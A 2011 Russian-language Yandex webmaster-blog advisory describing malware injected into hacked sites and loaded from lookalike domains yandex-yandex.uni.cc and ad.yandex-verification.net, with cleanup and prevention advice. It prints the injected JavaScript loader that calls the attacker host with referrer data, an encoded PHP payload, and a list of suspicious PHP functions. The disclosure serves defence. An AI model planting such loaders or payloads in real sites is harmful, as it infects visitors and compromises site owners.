Блог Яндекса для вебмастеров

Способы обфускации вредоносного кода на примере yandex-yandex.uni.cc и ad.yandex-verification.net

Пост в архиве.
В последнее время резко участились случаи заражения веб-сайтов кодом, основная часть которого загружается с yandex-yandex.uni.cc и ad.yandex-verification.net. К Яндексу эти домены, разумеется, никакого отношения не имеют. Технические подробности по ссылке. Будьте бдительны!

В настоящее время злоумышленники используют Интернет в качестве одного из основных каналов распространения вредоносного кода. Чтобы найти, проанализировать и удалить этот код было сложнее, они применяют различные методы его обфускации.


Обфускация программного кода – это любые действия, усложняющие его анализ, в том числе:

  1. преднамеренное преобразование кода в нечитаемый, включая применение различных способов его кодирования, искусственное усложнение, добавление ненужных участков;
  2. разделение кода на отдельные части, загружаемые из различных источников при соблюдении определённых условий;
  3. использование в нём названий известных, вызывающих доверие компаний и продуктов;
  4. непреднамеренная «обфускация» за счёт неработоспособности, плохо продуманной архитектуры и общего низкого качества кода.

Вредоносный код на веб-сайтах часто состоит из нескольких частей, которые подгружаются из разных источников. Вспомогательная часть обычно располагается на страницах недавно взломанного «хорошего» сайта. Когда она загружается к пользователю в браузер, то подгружает в него основной вредоносный код с серверов злоумышленников.


Злоумышленники могут давать серверам, с которых загружается основная часть вредоносного кода,  доменные имена похожие на доменные имена известных компаний. В последнее время резко участились случаи заражения веб-сайтов кодом, основная часть которого загружается с yandex-yandex.uni.cc и ad.yandex-verification.net. К Яндексу эти домены, разумеется, никакого отношения не имеют. Технические подробности приведены ниже. Будьте бдительны!



yandex-yandex.uni.cc

На 23.06.2011 в нашей базе насчитывается более полутора тысяч сайтов, страницы которых заражены таким кодом.


Скрипт на заражённой странице имеет вид:

<script>
var gaJsHost = (("http:" == document.location.protocol) ? "http://yandex" : "http://yandex"); document.write(unescape("%3Cscript src='" + gaJsHost + "-yandex.uni.cc/verify-v1?id="+Math.floor(Math.random() *30000)+"&group=2&seoref="+encodeURIComponent(document.referrer)+ "&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=' type='text/javascript'%3E%3C/script%3E"));
 </script>
Код, передаваемый на клиент (в браузер) преднамеренно переусложнён и сделан трудночитаемым, что является обфускацией.

После выполнения данного скрипта на веб-страницу добавляется ещё один тег script, в атрибуте src которого присутствует url вида:

http://yandex-yandex.uni.cc/verify-v1?id=<random_number>&group=2&seoref=<referer>&parameter=$keyword&se=$se&ur=1&HTTP_REFERER=<url>&default_keyword=

где:

<random_number> - случайно сгенерированное число от 0 до 30000;
<referer> - url, с которого пришли на зараженный сайт;
<url> - url зараженного сайта.

Кроме обфускации вредоносного кода, передаваемого на сторону клиента, для данного типа вредоносного ПО характерна также обфускация вредоносного кода, который добавляется в PHP-скрипты при взломе сервера, например:

<?php $somecrainsignvar="df8aslpq"; echo base64_decode(str_rot13('VQkmL3WcpUD+VN0XqzSlVTquFaAVo3A0VQ0tXPtvnUE0pQbvVQ09VTEiL3IgMJ50YzkiL2S0nJ9hYaOlo3EiL29fXFN/VPWbqUEjBv8irJShMTI4VvN6VPWbqUEjBv8irJShMTI4Vvx7VTEiL3IgMJ50YaqlnKEyXUIhMKAwLKOyXPVyZ0AmL3WcpUDtp3WwCFpvVPftM2SXp0uip3DtXlNvYKyuozEyrP51ozxhL2ZiqzIlnJM5YKLkC2yxCFVeGJS0nP5zoT9ipvuALKEbYaWuozEioFtcVPbmZQNjZPxeVvMapz91pQ0lWaAyo3WyMw0vX2IhL29xMIIFFHAioKOiozIhqPuxo2A1oJIhqP5lMJMypaWypvxeVPVzpTSlLJ1yqTIlCFEeMKy3o3WxWaAyCFEmMFM1pw0kWxuHISOsHxITEIWSHw0vX2IhL29xMIIFFHAioKOiozIhqPuxo2A1oJIhqP5IHxjcXlVzMTIzLKIfqS9eMKy3o3WxCFptqUyjMG0aqTI4qP9dLKMup2AlnKO0WlHmEFHmDl9mL3WcpUDyZ0HvXFx7QDbtCP9mL3WcpUD+VN==')); $crain="";


ad.yandex-verification.net

На 23.06.2011 в нашей базе насчитывается более двух тысяч сайтов, страницы которых заражены таким кодом.


Скрипты на заражённой странице имеют вид:

<script type="text/javascript" src="http://ad.yandex-verification.net/verify-v1"></script>
или
<script type="text/javascript" src="http://ad.yandex-verification.net/verify-v2"></script>

Существенных особенностей по сравнению с yandex-yandex.uni.cc работа этого вредоносного кода не имеет.



Как удалить вредоносный код на стороне сервера

Чаще всего вредоносный код появляется на сайте в результате взлома или использования украденного пароля доступа.

Злоумышленники  получают пароли и ценную информацию при помощи троянских программ и вирусов, которые могут оставаться на личном компьютере вебмастера или администратора сайта длительное время. Поэтому перед тем, как удалять вредоносный код, советуем:

  • проверить рабочие станции и сервера антивирусом (можно использовать также бесплатные антивирусные утилиты, такие как DrWeb CureIT или Kaspersky Virus Removal Tool) ;
  • сменить пароли от FTP,  административной панели CMS, СУБД, SSH (если используете данный протокол для доступа к веб-серверу), а также от панели управления веб-хостингом (DirectAdmin, cPanel, ISP Manager и т.п.).

В противном случае злоумышленники смогут снова внедрить вредоносный код в страницы вашего сайта.


Кроме того, имеет смысл проверить сайт на другие виды заражения, в качестве которого может выступать любой незнакомый вам обфусцированный (специально сделанный нечитаемым, например, закодированный) код, особенно содержащий функции:

eval, base64_decode, gzuncompress, gzinflate, ob_start, str_rot13

Чтобы в будущем не допустить заражения вашего сайта вредоносным кодом:

  • не сохраняйте пароли в веб-браузерах, файловых менеджерах, а также FTP-, SFTP-, SCP- и SSH-клиентах;
  • используйте стойкие пароли, регулярно меняйте их, чтобы злоумышленники не смогли подобрать пароль по словарям или перебором (рекомендуем использовать пароль из не менее чем 10 букв, цифр и специальных символов);
  • используйте на рабочих станциях и серверах антивирус, следите за тем, чтобы его ядро и базы регулярно обновлялись;
  • настройте файрволлы и сетевую инфраструктуру так, чтобы были разрешены только необходимые для работы соединения;
  • регулярно устанавливайте обновления для вашей CMS, а если используете CMS собственной разработки – применяйте WAF (Web Application Firewall) и правила безопасного программирования;
  • зарегистрируйте сайт в Яндекс.Вебмастере, чтобы иметь возможность самостоятельно запускать его перепроверку, а также посмотреть информацию о найденном коде в случае заражения.

Команда безопасного поиска Яндекса

1 комментарий

День добрый! Извините, что пишу не по теме - но раньше пользовался функцией "Следить за результатами поиска" для отслеживания обновлений по нужному вопросу. Сейчас возникла необходимость - но этой функции не нашел. Ее убрали или я не могу найти просто?